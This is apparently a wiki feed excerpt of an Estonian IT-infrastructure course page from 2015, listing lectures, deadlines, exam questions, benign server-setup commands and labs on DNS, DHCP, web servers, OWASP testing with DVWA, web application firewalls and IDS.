==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88670</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88670"/>
		<updated>2015-05-20T05:56:49Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* ReferaadiTeemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= ReferaadiTeemad 2015 =&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[Kippo SSH Honeypot]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
[[hping]] http://www.hping.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[WPScan]] - http://wpscan.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Aircrack]]&lt;br /&gt;
&lt;br /&gt;
[[ntop]]&lt;br /&gt;
&lt;br /&gt;
[[Nikto]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[DigiNotar]]&lt;br /&gt;
&lt;br /&gt;
[[Ipkungfu Tulemüür]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[iodine]]&lt;br /&gt;
&lt;br /&gt;
[[fabric]]&lt;br /&gt;
&lt;br /&gt;
[[mpstat]]&lt;br /&gt;
&lt;br /&gt;
[[arpwatch]]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
